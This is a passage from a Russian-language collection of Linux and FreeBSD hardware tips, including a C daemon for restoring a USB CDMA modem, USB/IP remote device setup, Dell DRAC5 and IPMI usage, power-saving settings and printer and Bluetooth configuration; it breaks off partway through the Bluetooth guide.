    Ситуация 2. 
    
    Загружается ОС. Модем включен. Дозвон возможен (файл устройства /dev/ttyACM0
    существует). Модем отключается - файл  устройства /dev/ttyACM0 пропадает. При
    повторном включении модема файл устройства отсутствует. В итоге дозвон невозможен.
    
    Решение.
    
    Подобные ситуации возникали, в частности, и в Ubuntu 9.10 и в некоторых других
    Linux. Из форумов видно, что проблему рекомендуют решать перезагрузкой модуля
    ядра cdc-acm и созданием файла устройства в командном режиме. Рекомендуют также
    автоматизацию при помощи правил udev. Возможна даже ситуация когда имеем после
    нескольких plug/unplug модема множество /dev/ttyACM0..n. И модем не
    распознается. Правила udev помогают не всегда (установлено экспериментально).
    
    Связь с модемом можно установить и при помощи представленной ниже 
    специально разработанной программы (тестировалась на Fedora 11 Russian Remix) и
    Ubuntu 9.10 (версии udev 141 и 147 соответственно).
    
    
     // File minimaxd.c
     //
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>
     #include <sys/types.h>
     #include <signal.h>
     #include <syslog.h>
     
     #define TMP_FILE__PID 		"/tmp/minimaxd.pid"
     #define TMP_FILE__LSUSB		"/tmp/lsusbminimax.tmp"
     #define PATH_CDC_ACM_MODULE	"/sys/module/cdc_acm/initstate"
     #define PATH_MODEM_TTY		"/dev/ttyACM0"
     #define CHECK_MODEM_PLUG_STR	"lsusb | grep Qualcomm >   /tmp/lsusbminimax.tmp"
    
     int fileexist(const char* filename);
     void kill_copy_daemon();
     void start_restart();
     void stop();
     int CheckPlugModem();
     void wait_cdc_acm_control();
     int CheckPid();
     void SetPid();
     int GetPid();
     void PrintMessageToLog(char* szMessage);
     
     int main(int argc, char* argv[])
     {
       if(argc==2)
       {
         if((!strcmp("start",argv[1]))||(!strcmp("restart",argv[1]))) 
         {
           kill_copy_daemon();
           wait_cdc_acm_control();
         }
         else
         if(!strcmp("stop",argv[1])) kill_copy_daemon();
       }
       else
       {
          printf("Start/Restart MiniMax Modem Access:\nminimaxd start|stop|restart\n");
         printf("Background start:\nminimaxd start &\n");
       }
       return 0;
     }
    
     int fileexist(const char* filename)
     {
       int res = 0;
       FILE* f=fopen(filename,"rt");
       if(f!=NULL) { fclose(f); res=1; }
       return res;
     }
    
     void kill_copy_daemon()
     {
        char cmd[255]="";
        int pid = GetPid();
        if(pid>0) 
        {
           kill((pid_t)(pid), SIGKILL);
           strcpy(cmd,"rm -f "); strcat(cmd,TMP_FILE__PID);   system(cmd);
           strcpy(cmd,"rm -f "); strcat(cmd,TMP_FILE__LSUSB); system(cmd);
           PrintMessageToLog("Modem service is stopped");
        }
     }
    
     void start_restart()
     {
         system("rm -f /dev/modem");
         system("rm -f /dev/ttyACM*");
         system("rmmod cdc-acm");
         system("modprobe cdc-acm");
         system("mknod /dev/ttyACM0 c 166 0");
         system("chmod 666 /dev/ttyACM*");
         system("ln -s /dev/ttyACM0 /dev/modem");
         PrintMessageToLog("Modem service started");
     }
    
     void stop()
     {
        system("rmmod cdc-acm");
        system("rm -f /dev/modem");
        system("rm -f /dev/ttyACM*");
        PrintMessageToLog("Modem service is stopped");
     }
    
     int CheckPlugModem()
     {
       char str[255]="";
       int res = 0;
     
       system(CHECK_MODEM_PLUG_STR);
     
       sleep(2);
     
       FILE* f=fopen(TMP_FILE__LSUSB,"rt");
       if(f!=NULL)
       {
         strcpy(str,"");
         fscanf(f,"%s",str);
         fclose(f);
         if(strlen(str)>0) res = 1;
       }
       return res;
     }
     
     void wait_cdc_acm_control()
     {
       int fl_CDC_ACM_OK=0;
       int fl_ttyACM0_OK=0;
       
       if(!CheckPid())
       {
         SetPid();
        
         while(1)
         {
    	fl_CDC_ACM_OK=fileexist(PATH_CDC_ACM_MODULE);
     	if(CheckPlugModem())
    	{
    	  fl_ttyACM0_OK=fileexist(PATH_MODEM_TTY);
    	  
    	  if((fl_CDC_ACM_OK==1)&&(fl_ttyACM0_OK==0)) start_restart();
    	  else
    	  if((fl_CDC_ACM_OK==0)&&(fl_ttyACM0_OK==0)) start_restart();
    	}
    	else
    	{
    	  if(fl_CDC_ACM_OK) stop();
    	}
    	sleep(3);
         }
       }
     }
    
     int CheckPid()
     {
       return fileexist(TMP_FILE__PID);
     }
    
     void SetPid()
     {
       pid_t pid = getpid();
       FILE* f=fopen(TMP_FILE__PID,"wt");
       if(f!=NULL)
       {
         fprintf(f,"%d",pid);
         fclose(f);
       }
     }
     
     int GetPid()
     {
       int res = 0;
       FILE* f=fopen(TMP_FILE__PID,"rt");
       if(f!=NULL)
       {
         fscanf(f,"%d",&res);
         fclose(f);
       }
       else res = -3;
       return res;
     }
     
     void PrintMessageToLog(char* szMessage)
     {
       openlog("MINIMAXD", LOG_ODELAY, LOG_USER);
       syslog(LOG_INFO, "%s", szMessage);
       closelog();
     }
     
     
    Компиляция командой:
    
       gcc ./minimaxd.c -o minimaxd
    
    Для 64-разрядной версии:
    
       gcc ./minimaxd.c -m64 -o minimaxd
    
    Полученный minimaxd копируем в каталог /usr/local/bin/
    Назначаем владельцем root.
    
    Тестирование.
    
    Запуск программы из коммандной строки выполняем так:
       
       # minimaxd start
    
    или в фоне:
    
       # minimaxd start &
    
    Подключаем модем к usb-порту, ждем инициализации около 5 сек. Затем пробуем
    дозвон. Прерываем дозвон.
    
    Отсоединяем модем, подсоединяем заново и через 5 сек. повторяем процедуру. Если
    все Ok, то завершаем процедуру тестирования.
    Для завершения работы minimaxd, работающей в фоне, в другой консоли выполняем:
    
       # minimaxd stop
    
    Запуск при загрузке ОС.
    
    В каталоге /etc/rc.d/init.d создаем упрощенный скрипт (файл minimaxdaemon) для
    менеджмента "демона":
    
    
     #!/bin/sh
     # startup script for Minimax daemon (/usr/local/bin/minimaxd)
    
     DAEMON=/usr/local/bin/minimaxd
    
     minimaxdaemon_start ()
     {
         echo -n "Starting ${DAEMON}: "
         ${DAEMON} start &
     }
     
     minimaxdaemon_stop ()
     {
         echo -n "Shutting down ${DAEMON}: "
         ${DAEMON} stop
     }
     
     minimaxdaemon_restart ()
     {
         echo -n "Restarting ${DAEMON}: "
         ${DAEMON} restart &
     }
      
     
     case $1 in
     
     	start)
     		minimaxdaemon_start
     		;;
     		
     	stop)
     		minimaxdaemon_stop
     		;;
     	
     	status)
     		echo "${DAEMON}:" `pidof ${DAEMON}`
     		;;
     	
     	restart)
     		minimaxdaemon_restart
     		;;
     	
     	*)
     		echo "Usage: minimaxdaemon  {start|stop|restart|status}"
    		exit 1
    		;;
     esac
     exit 0
    
    
    Создаем на minimaxdaemon символические ссылки в каталогах rc?.d. Например, для
    Fedora 11 (Russion Remix):
    
       ln -s /etc/rc.d/init.d/minimaxdaemon /etc/rc.d/rc0.d/K01minimaxdaemon
       ln -s /etc/rc.d/init.d/minimaxdaemon /etc/rc.d/rc6.d/K01minimaxdaemon
       ln -s /etc/rc.d/init.d/minimaxdaemon /etc/rc.d/rc5.d/S96minimaxdaemon
    
    Теперь можно проверить работу minimaxd после перезагрузки.
    
    Заключение
    
    Следует отметить, что это все верно в случае, если в ядре существует поддержка
    модуля cdc-acm. Задержки (функции sleep) могут быть выбраны иные. Пример можно
    рассматривать и для других подобных модемов, работающих через cdc-acm-модуль и
    использующих /dev/ttyACM0-файл. Однако, надо учесть, что для определения в
    системе модема используется команда lsusb и в данном случае
    она в программе такая:
    
       lsusb | grep Qualcomm > /tmp/lsusbminimax.tmp
    
    Т.е. подразумевается, что модем определяется, например, как:
    
       Bus 009 Device 003: ID 05c6:3196 Qualcomm, Inc. CDMA Wireless Modem
    
    Поэтому в программе и фильтруем по слову "Qualcomm".
    В случае других производителей управляющую команду надо будет изменить.
    
     
    ----* Подключение удалённых USB устройств в Linux   Автор: pavlinux  [комментарии]
     
    Есть много причин использования физически удаленных USB устройств,
    именно устройств, а не их ресурсов или данных передаваемых с них.
    
    То есть, после прочтения и настройки данного ПО, вы сможете подключать флешки,
    камеры, принтеры, и т.п., находящиеся скажем в Австралии или дома, находясь на работе.
    
    О наличии или отсутствии модулей поддержки USB_IP в определенных дистрибутивах
    ничего сказать немогу, но вы сами можете прекрасно проверить командой:
    
       # modprobe -l | grep usbip
    
       /lib/modules/2.6.31.2/kernel/drivers/staging/usbip/vhci-hcd.ko
       /lib/modules/2.6.31.2/kernel/drivers/staging/usbip/usbip.ko
    
    Если появилось, что-то вроде этого, то переходим ко второй части, нет, - поехали дальше.
    
    1. Установка поддержки USB/IP в ядре.
    
    Для работы необходимо ядро версии не менее чем 2.6.20, после версии 2.6.28 этот
    проект перенесён в основную ветку ядра, но в раздел staging (по-русски - "почти
    работающие" :))
    
    Итак, если версия 2.6.28 и больше, запускаем конфигурацию ядра:
    
       # make menuconfig
    
    Идем в раздел:
       Device Drivers  --->
          Staging drivers  --->
    
    И включаем опции: (лучше как модули)
    
       <M>     USB IP support (EXPERIMENTAL)
       <M>       USB IP client driver
       <M>       USB IP host driver
    
    Сохраняем конфигурацию, компилируем и устанавливаем ядро.
    
       # make && make modules_install && make install;
    
    2. Установка утилит пользовательского режима.
    
    Для управлением и подключением наших устройств необходимы утилиты
    пользовательского режима и некоторые библиотеки, а именно:
    
       - sysfsutils        >= 2.0.0 sysfsutils library
    
    А для компиляции:
    
       - libwrap0-dev      tcp wrapper library (можно и без неё)
       - gcc               >= 4.0
       - libglib2.0-dev    >= 2.6.0
       - libtool, automake >= 1.9, autoconf >= 2.5.0, pkg-config
    
    Скачиваем архив с Sourceforge (я бы этого не делал) http://sourceforge.net/projects/usbip/files/
    Либо последние версии, через SVN:
    
       # cd /usr/src/
       # svn co https://usbip.svn.sourceforge.net/svnroot/usbip usbip
    
    Переходим в каталог с утилитами, запускаем autogen.sh,
    после чего должен появится configure
    
       # cd usbip/linux/truck/src/
       # ./autogen.sh
    
    configure лучше указать где находится файл описания производителей USB
    устройств - usb.ids, если этого не сделать, то ничего страшного, он установит
    свой в /usr/local/share/usbip/usb.ids :)
    
       # ./configure --with-usbids-dir=/usr/share
       # make
       # make install
    
    У вас должны появится три утилитки - usbip, usbipd, usbip_bind_driver и две
    библиотеки - libusbip.so.0.0.1 и libusbip.a
    
    3. Подключение и работа.
    
    Как при любом взаимодействии, так и у нас необходимы как минимум два индивида. :)
    
    В USB/IP они подразделяются на клиентскую и серверную части процесса работы.
    
    SERVER - это компьютер с физическим, необходимым нам устройством.
    CLIENT - так же, компьютер, возможно даже тот же, где работает сервер (сейчас всех запутаю).
    
    3.1 Серверная часть.
    
    И так, чтобы получить доступ по сети, скажем  к флешке на компьютере с именем [SERVER], необходимо:
    
       [SERVER]
    
    1. Физически подключить устройство.
    2. Загрузить модули:
    
       # modprobe -v usbip_common_mod
       # modprobe -v usbip
    
    3. Запустить сервер сетевых подключений
    
       # usbipd -D
    
    Должен открыться TCP порт 3240, и находиться в состоянии LISTEN
    
       # netstat -ltn;
    
       Active Internet connections (only servers)
       Proto Recv-Q Send-Q Local Address           Foreign Address         State
       tcp        0      0 0.0.0.0:3240            0.0.0.0:*               LISTEN
    
    4. Вывести список устройств возможных для подключения
    
       # usbip_bind_driver --list
    
       List USB devices
        - busid 2-1 (051d:0002)
                2-1:1.0 -> usbhid
    
        - busid 1-8 (058f:6387)
                1-8:1.0 -> usb-storage
    
    5. И наконец, сделать устройство доступным для клиентов.
    
       # usbip_bind_driver --usbip 1-8
    
       usbip_bind_driver --usbip 1-8
       ** (process:12829): DEBUG:  1-8:1.0     -> usb-storage
       ** (process:12829): DEBUG: unbinding interface
       ** (process:12829): DEBUG: write "add 1-8" to /sys/bus/usb/drivers/usbip/match_busid
       ** Message: bind 1-8 to usbip, complete!
    
    3.2 Клиентская часть.
    
       [CLIENT]
    
    1. Устанавливаем модули
    
       # modprobe -v usbip_common_mod
       # modprobe -v vhci-hcd
    
    Проверяем dmesg
    
       # dmesg
    
       vhci_hcd vhci_hcd: USB/IP Virtual Host Contoroller
       vhci_hcd vhci_hcd: new USB bus registered, assigned bus number 3
       usb usb3: New USB device found, idVendor=1d6b, idProduct=0002
       usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
       usb usb3: Product: USB/IP Virtual Host Contoroller
       usb usb3: Manufacturer: Linux 2.6.31.2 vhci_hcd
       usb usb3: SerialNumber: vhci_hcd
    
    Всё в порядке, идем дальше...
    
    2. Выводим список устройств доступных на сервере, у которого адрес 192.168.0.1
    
       # usbip --list 192.168.0.1
    
       - 192.168.0.1
         1-8: Alcor Micro Corp. : Transcend JetFlash Flash Drive (058f:6387)
            : /sys/devices/pci0000:00/0000:00:02.1/usb1/1-8
            : (Defined at Interface level) (00/00/00)
            :  0 - Mass Storage / SCSI / Bulk (Zip) (08/06/50)
    
    Чудненько, мы видим удалённую флешку....
    
    3. И подключаем её как будто бы локальную
    
       # usbip --attach 192.168.0.1 1-8
    
    Проверяем состояние
    
       # usbip --port
       # lsusb
       # dmesg
    
    Если у Вас работает какая либо система автоподключения, наверно флещка уже
    куда-то подмонтировалась.
    
    
    Далее можно производить любые действия, так как вы работаете с обычными USB
    устройствами, - снимать, сканировать, печатать.
    
    4. Отключение устроиства на клиенте
    
       # usbip --detach 1-8
    
    
    P.S. Драйвер находиться в стадии глубокого эксперимента, так что ошибок очень
    много. Так например временное пропадание соединения, для TCP/IP явление
    нормальное, а вот временное пропадание USB устройства, приводит к его
    уничтожению из списка устройств. А после прохождения таймаута в TCP, устройство
    вдруг возвращается... :)
    
    В VHCI драйвере это конечно компенсируют, но так же есть пределы таймаутов. Так
    что, хорошо настроенная сеть, пускай даже и медленная, залог успеха. Про
    отключение режимов управлением питанием, понижение частоты, QoS, молчу - просто обязательно!
    
     
    ----* Исправляем неисправный Smart UPS собственными силами   Автор: urri  [комментарии]
     
    Была проблема: После замены аккумуляторов в smart-ups 1500 при подключении к
    сети ~220 УПС издал непрерывный сигнал и ни на что не реагировал.
    
    Замена С65 100х35v (электролит высох) на 100х63v решила проблему. Ищите сухие
    ёмкости , в них 75% неисправности электроники.
    
     
    ----* Вывод произвольного текста на LCD у серверов Dell 1950   Автор: rstone  [комментарии]
     
    Подразумевается что ipmitool установлен,  загружены и работают модули Linux ядра 
       ipmi_devintf          
       ipmi_si                
       ipmi_msghandler        
    
    Для проверки можно выполнить : 
    
       # ipmitool chassis status
       System Power         : on
       Power Overload       : false
       Power Interlock      : inactive
       Main Power Fault     : false
       ...
    
    У Вас сообщения могут быть другими, но не суть важно, важен факт что  команда работает. 
    
    По умолчанию этот скрипт будет выводить "имя сервера"  на LCD экран:
    
       #!/usr/bin/perl
    
       use warnings ; 
       use strict ; 
    
       my $DEBUG = 0  ;
       my $name = qx {hostname} ; 
       chomp $name ; 
    
       $name = (split(/\./,$name))[0];
       my @letters = split(//,$name);
       my $length = scalar @letters ;
       if ( $length < 1 ) { 
            print "Hostname not found\n" ;
            exit 1 ;
       }
       my $string ; 
       foreach my $letter ( @letters) { 
            my $h = ord($letter);
            my $hexval = sprintf("0x%x ", $h);
            $string .=$hexval ;
       }
    
       print "string $string of length $length\n" if $DEBUG ; 
       my $out = qx {ipmitool raw 0x6 0x58 193 0 0 $length $string};
       print "Output [$out]" if $DEBUG ; 
       $out = qx {ipmitool raw 0x6 0x58 194 0};
       print $out if $DEBUG ; 
    
     
    ----* Использование контроллера DRAC 5 в Linux (доп. ссылка 1)   Автор: Alex Samorukov  [комментарии]
     
    Для удаленного доступа на сервера Dell был установлен контроллер "Dell Remote
    Access Controller 5" (DRAC5).
    Это специализированное (его можно установить только на некоторые сервера Dell)
    аппаратное решение для
    удаленного доступа (KVM), мониторинга (используется IPMI контроллер) и
    удаленного управления питанием и
    монтирования CD/Floppy устройств по сети. В процессе работы с устройством я
    столкнулся с некоторыми
    сложностями, решив которые я и решил написать эту заметку.
    
    
    Что представляет из себя DRAC5?
    
    После того как контроллер установлен и настроен (из внутреннего BIOS) к нему
    можно подключиться по https или ssh.
    Большинство действий, такие как мониторинг, перезагрузка или управление
    питанием, настройки доступа и
    уведомлений не требуют какого либо специального ПО. Но 2 самые важные (на мой
    взгляд) функции - KVM и удаленное
     монтирование, сразу не заработали, так как требовали специального дополнения. О них и заметка.
    
    KVM в линукс
    
    Несмотря на то, что устройство было куплено совсем недавно в нем была
    устаревшая прошивка (0.36 при наличии 0.45
    на момент написания). В этой прошивке доступ к KVM возможен только с помощью
    специального дополнения,
     который доступен для IE (ActiveX) и Firefox Linux. При этом последний работает только в Firefox 2 
    (используются функции, которые убраны из Firefox 3), установка дополнения нормально не работает 
    (мне пришлось копировать нужные файлы руками). Так как держать FF2 i386 только
    для kvm мне не хотелось
    я решил обновить прошивку. Обновление доступно на сайте Dell, в том числе и для Linux версии.
    
    Прошивка обновляется без проблем, причем даже без перезагрузки сервера (CentOS 5.3 x86_64). 
    Таже рекомендую обновить прошивку контроллера BMC - без этого у меня были
    недоступны некоторые пункты
    меню мониторинга после обновления прошивки DRAC.
    
    После обновления появится, во первых, плагин для Linux Firefox 3 i386, а во вторых - java клиент. 
    Java клиент использует технологию Java Web Start (jnlp файлы) и прекрасно работает c SUN JRE в 
    Ubuntu x86_64 (да и думаю в любой другой ОС с javaws). Если у вас не прописана
    ассоциация для запуска
    jnlp файла, то просто укажите путь к bin/javaws jre. Клиент по функционалу ничем не отличается 
    от windows или native linux дополнения, так что данная проблема была успешна решена.
    
    Удаленное подключение устройств
    
    Контроллер позволяет подключать дисковые (CD или Floppy) устройства физически
    расположенные на машине клиента.
    Также плата умеет загружаться с созданных виртуальных устройств. Совместно с
    KVM это позволяет, например,
    установить операционную систему, или загрузится с Rescue CD для ремонта FS. К
    сожалению данная возможность
    также требует наличие плагина, который, в свою очередь, требует Linux Firefox
    i386. Поиск в интернете
    подсказал решение - оказывается у Dell есть CLI утилита для данной цели, racvmcli. Возможно она и 
    распространяется на одном из многочисленных дисков, которые шли с сервером, но
    так как у меня не было
    к ним доступа - пришлось "выкусывать" с LiveCD. Для этого скачиваем образ omsa-54-040308.iso 
    
    (http://linux.us.dell.com/files/openmanage-contributions/omsa-54-live/omsa-54-040308.iso) и
     извлекаем
    нужные файлы с него (используется sqashfs):
    
       # mkdir -p /mnt/cd /mnt/opt $HOME/dell
       # mount -o loop,ro omsa-54-040308.iso /mnt/cd/
       # mount -o loop,ro /mnt/cd/base/opt.mo /mnt/opt
       # cp /mnt/opt/opt/dell/srvadmin/rac5/bin/* $HOME/dell
       # umount /mnt/opt && umount /mnt/cd
    
    Все, нужные файлы в хомяке, подпапке Dell. Для подключения устройств используется утилита racvmcli
    
       root@samm-laptop:~/dell# ./racvmcli 
       racvmcli version 2.1.0
       Copyright (c) 2007 Dell, Inc.
       All Rights Reserved
    
       usage: racvmcli
    	-r RAC-IP-addr[:RAC-SSL-port]
    	-u RAC-user
    	-p RAC-user-password
    	-f {floppy-dev | disk-image}
    	-c {cdrom-dev | ISO-image}
    	[-v]	# version
    	[-h]	# help
    	[-m]	# manual page
    	[-e]	# use an SSL-encrypted channel
    
    Попробуем подключить устройство:
    
       root@samm-laptop:~/dell# ./racvmcli -r kvm.example.com -u user -p  password -c systemrescuecd-x86-1.1.6.iso 
       racvmcli: connecting(1)..
       Failed to initialize SSL layer
       racvmcli: unable to connect to 'kvm.example.com'
    
    Первый облом. strace показал что racvmcli пытается через dl() подгружать
    openssl и не находя нужной
    версии обламывается. При этом в качестве аргумента к dl() передается поочередно libssl.so.0.9.7,libssl.so.2,
    libssl.so.4,libssl.so.6, тогда как в Ubuntu установлена libssl.so.0.9.8. Я просто поправил 
    в бинарном редакторе 0.9.7 на 0.9.8 после чего программа успешно заработала.
    
       root@samm-laptop:~/dell# ./racvmcli -r kvm.example.com -u user -p password -c systemrescuecd-x86-1.1.6.iso 
       racvmcli: connecting(1)..
       ..connected to kvm.example.com
    
    Что особенно ценно - данная утилита может быть запущена, например, с сервера по
    соседству для большей скорости
    передачи. Я загрузился с RescueCD подключенным в Европе (сам сервер был в
    Америке) и загрузка заняла примерно
    10 минут, что тоже приемлемо.
    
    Доступ к серверу через SSH
    
    Если по каким-то причинам вам удобнее получать доступ к серверу через SSH, то
    для этого существуют все возможности.
    По умолчанию на контроллере включен SSH доступ, пользователь и пароль такой же
    как и на https. После подключения
    доступны 3 команды (или я только 3 нашел) racadm и smclp и connect. Первая
    служит для конфигурирования kvm,
    вторая не совсем понятно для чего, а третья - для подключения к com2 сервера.
    Настроив agetty и grub/lilo на
    работу с COM2 (ttyS1), а также прописав в BIOS redirect на Serial Port (указав
    портом Remote Access Device)
    мы получаем возможность полноценно управлять сервером с момента начальной
    загрузки, в том числе менять
    настройки BIOS и так далее. Для этого в ssh сессии пишем "connect com2" и если
    все настроено верно - то
    должно быть приглашение. Параметры порта по умолчанию - 57600 8N1, могут быть
    изменены через web интерфейс.
    
    Удаленное управление настройками DRAC
    
    Помимо racvmcli в папке Dell еще находится утилита racadm. Она также желает
    работать с libssl.so.0.9.7, так что я
    поступил с ней также как и с racvmcli, пропатчив 
    бинарник. Я уже упоминал, что racadm можно вызывать из ssh, но локальная версия
    имеет больше возможностей
    (команды sslcertupload, sslcertdownload, sslkeyupload, usercertupload, krbkeytabupload).
    
    Для вызова справки существует команда help
    
       ./racadm -r kvm.example.com -u user -p password help
    
    Для справке о какой либо команде - help <command>
    
       ./racadm -r kvm.example.com -u user -p password help ping
    
    Из особенностей можно заметить, что программа позволяет выполнять часть
    настроек, которые я не нашел в
    web интерфейсе (например, sslkeyupload).
    
    Заключение
    
    Контроллер DRAC5 - несомненно крайне полезен для удаленного администрирования,
    особенно в случае сложных проблем.
    Приятно что разработчики начинают думать не только о Windows пользователях, и в итоге удалось 
    достичь 100% работоспособности контроллера в Linux. Надеюсь, что ошибки будут
    учтены, и в следующих версиях
    сразу появятся нормальные Java CLI/GUI клиенты, а их "добыча" будет более
    тривиальной. Пропатченные для работы
    с openssl0.9.8 утилиты можно скачать у меня (http://samm.kiev.ua/drac5/drac5_cli.tar.gz). 
    Надеюсь заметка была полезной для владельцев Dell серверов, в случае вопросов -
    постараюсь ответить.
    
     
    
     
    ----* Как узнать поддерживается ли PCI устройство в заданном Linux ядре (доп. ссылка 1)   [комментарии]
     
    Для определения какие доступные модули ядра подходят для установленных в текущей системе PCI плат, 
    нужно запустить утилиту pcimodules, которая для сопоставления модулей ядра и
    идентификаторов PCI плат
    использует содержимое файла /lib/modules/версия_ядра/modules.pcimap,
    автоматически генерируемого на этапе
    выполнения команды depmod.
    
    Полный список всех поддерживаемых PCI идентификаторов можно найти в файле /usr/share/hwdata/pci.ids
    Обновить базу pci.ids можно выполнив команду:
    
       update-pciids
    
    Для просмотра всех PCI устройств в системе нужно использовать утилиту lspci
    (lspci -vvv для детального вывода).
    
    Для вывода информации, какой драйвер можно использовать для каждого устройства в системе:
    
       lspci -k
    
    Рассмотрим по шагам процесс определения присутствия поддержки имеющейся аудио
    платы в текущем Linux ядре.
    
    Смотрим параметры платы:
    
       lspci | grep -i audio
    
       00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller
    
    Видим, что идентификатор платы 00:1b.0. Далее, выводим для этого идентификатора
    более подробную информацию:
    
    
       lspci -n | grep 00:1b.0
     
       00:1b.0 0403: 8086:27d8 (rev 01)
    
    где,
       00:1b.0 - код устройства;
       8086 - код производителя (Intel Corporation)
       27d8 - идентификатор модели.
    
    Проверяем какие модули ядра поддерживают данную модель:
    
       grep 27d8 /lib/modules/$(uname -r)/modules.pcimap 
    
       snd-hda-intel 0x00008086 0x000027d8...
    
    Смотрим информацию о драйвере:
    
       modinfo snd-hda-intel
    
       filename:       /lib/modules/2.6.27-11-server/kernel/sound/pci/hda/snd-hda-intel.ko
       description:    Intel HDA driver
       depends:        snd-pcm,snd-page-alloc,snd
    
     
    ----* Советы по уменьшению энергопотребления ноутбука с FreeBSD (доп. ссылка 1)   [комментарии]
     
    1. CPU
    Включение демона powerd позволяет менять частоту/вольтаж CPU в зависимости от нагрузки.
    
    Отключаем "p4tcc" и "throttling" в пользу более эффективного EIST. В /boot/loader.conf:
    
       hint.p4tcc.0.disabled=1
       hint.acpi_throttle.0.disabled=1
    
    Изменяем метод поведения CPU в моменты неактивности с C1 (по умолчанию) на C2, 
    который поддерживает отключение всех основных таймеров CPU. В /etc/rc.conf добавляем:
    
       performance_cx_lowest="C2"
       economy_cx_lowest="C2"
    
    Уменьшаем частоту генерации прерываний таймера, в loader.conf:
    
       kern.hz=100
    
    
    Экономия 5 Вт.
    
    2. PCI 
    
    Для отключения питания не используемых PCI устройств (например, FireWire и USB
    контроллер) достаточно пересобрать ядро
    без драйверов ненужных устройств и указать в loader.conf:
    
       hw.pci.do_power_nodriver=3
    
    Когда в устройстве возникнет необходимость, достаточно подгрузить драйвер как модуль ядра.
    
    Экономия 3 Вт.
    
    3. WiFi и Bluetooth
    
    Аппаратное отключение  WiFi и Bluetooth через обычно предусмотренную на
    ноутбуке комбинацию клавиш экономит около 2 Вт.
    
    4. HDA модем
    
    Физическое удаление платы HDA-модема привело к экономии 1 Вт.
    
    5. HDA звук
    Для уменьшения числа прерываний для звуковой карты в loader.conf прописываем:
    
       hint.pcm.0.buffersize=65536
       hint.pcm.1.buffersize=65536
       hw.snd.feeder_buffersize=65536
       hw.snd.latency=7
    
    6. Жесткий диск
    
    Для хранения временных файлов, чтобы не дергать лишний раз НЖМД, можно использовать tmpfs.
    Отключаем лишние периодически просыпающиеся сервисы, отключаем syslogd,
    используем легковесный оконный
    менеджер (например, icewm);
    
    Включение энергосберегающего spin-down режима работы 2.5" Hitachi SATA HDD
    привело к экономии 1 Вт,
    полное отключение - 2 Вт.
    
    Итог:
    
    Вышеописанные рекомендации + несколько дополнений внесенных в ветку FreebSD 8.0
    (подробнее см. ссылку внизу
    на оригинальное сообщение) позволили добиться следующий результатов:
    
       acpiconf -i0
    
    было: 2:24 часа (1621 mA)
    стало: 4:47 часа (826 mA)
    
    Для сравнения, оптимальные настройки Windows XP позволили продлить работу до 3:20 часов.
    
     
    ----* Решение проблемы с Nvidia драйверами во FreeBSD (доп. ссылка 1)   Автор: Nirnroot  [комментарии]
     
    Проблема: 
    
    после установки проприентарных драйверов Nvidia на FreeBSD X.Org зависает по непонятным причинам, 
    либо кидает систему в перезагрузку.
    
    Когда возникает: 
    
    экспериментальным путем было выведено, что если совокупная доступная оперативная память 
    системы + память видеокарты больше ~3.300 Мб (конкретно - предел оперативной памяти,
    определяемый стандартным ядром FreeBSD x86).
    
    Решение: 
    
    добавить в /boot/loader.conf строчку:
    
       machdep.disable_mtrrs=1
    
     
    ----* Решение проблемы с работой принтера Canon LBP2900 в Gentoo Linux   Автор: Diozan  [комментарии]
     
    При отключении принтера демон ccpd вываливается, оставляя в памяти сервис captmon2, 
    который начинает нестандартно работать, откушивая практически всю мощь процессора. 
    Для ликвидации этой проблемы, перед отключением принтера процесс ccpd нужно выгружать стандартно.
    Поэтому загрузку этого процесса и его выгрузку лучше поручить сервису udev. 
    Для этого создаем правило /etc/udev/rules.d/10-canon_LBP2900.rules
    
       #Own udev rule for CANON LBP2900
       KERNEL=="lp*", BUS=="usb", SYSFS{idVendor}=="04a9", \
         SYSFS{idProduct}=="2676", ACTION=="add", \ 
         NAME="canon_lbp2900",SYMLINK="usb/%k" \
         OWNER="root", GROUP="lp",  MODE="0660", RUN+="/etc/init.d/ccpd start"
       KERNEL=="lp*", ACTION=="remove", NAME=="canon_lbp2900", RUN+="/etc/init.d/ccpd stop"
    
    Сам ccpd при этом нужно убрать из автозагрузки. Его загрузка и выгрузка будет
    производится при включении и выключении принтера.
    
     
    ----* Использование Skype вместе с Bluetooth-гарнитурой в SLED 10 (доп. ссылка 1)   Автор: Alexander E Ivanov  [комментарии]
     
    Подключите bluetooth-адаптер к вашему компьютеру. 
    Вы должны увидеть что-то похожее на это в /var/log/messages:
    
     usb 1-1: new full speed USB device using uhci_hcd and address 2
     usb 1-1: new device found, idVendor=0a12, idProduct=0001
     usb 1-1: new device strings: Mfr=0, Product=0, SerialNumber=0
    
    Включите bluetooth, используя Yast: Hardware -> Bluetooth
    
    Включите аутентификацию и шифрование (Yast -> Bluetooth -> Security Options)
    
    Установите следующие пакеты, используя Yast, rug или zypper:
    
       automake, autoconf, gcc, alsa, alsa-tools, alsa-devel, m4, cvs, kernel-source.
    
    Добавьте самого себя в группу "audio" (используя права пользователя root):
    отредактируйте файл /etc/group и
    добавьте свое имя в конец строки группы "audio" (мое имя пользователя - stingleff): 
    
       audio:x:17:stingleff
    
    Прим.переводчика: на мой взгляд нет необходимости лезть руками в этот файл. 
    Подобную вещь можно сделать, используя Yast в консольном или gui-виде или
    просто выполнив команду от root:
    
       usermod -G audio stingleff
    
    
    Убедитесь, что bluetooth запущен, и определите MAC-адрес вашего bluetooth-адаптера. 
    Напоминаю, что увидев надпись XX:XX:XX:XX:XX:XX вы должны поменять ее на
    актуальное значение вашего устройства:
    
       # sudo hcitool dev
       Devices:
          hci0    XX:XX:XX:XX:XX:XX
    
    Отредактируйте /etc/bluetooth/rfcomm.conf, включив туда MAC-адрес вашего адаптера:
    
       ...
       device XX:XX:XX:XX:XX:XX;
       ...
    
    Создайте shell-скрипт /etc/bluetooth/feed-pin.sh для отправки пин-кода для вашей гарнитуры:
    
       #!/bin/sh
       echo "PIN:0000"
    
    Сделайте скрипт исполняемым:
    
       # chmod 700 /etc/bluetooth/feed-pin.sh
    
    Задайте опцию pin_helper в файле /etc/bluetooth/hcid.conf для использования этого скрипта:
    
       ...
       pin_helper /etc/bluetooth/feed-pin.sh
       ...
    
    Перезапустите сервисы bluetooth:
    
       # sudo /etc/init.d/bluetooth restart
    
    Перевести гарнитуру в режим подключения и выяснить MAC-адрес.
    Напомню, что MAC-адрес YY:YY:YY:YY:YY:YY необходимо поменять на тот, который существует у вас:
    
       # sudo hcitool scan
       Scanning ...
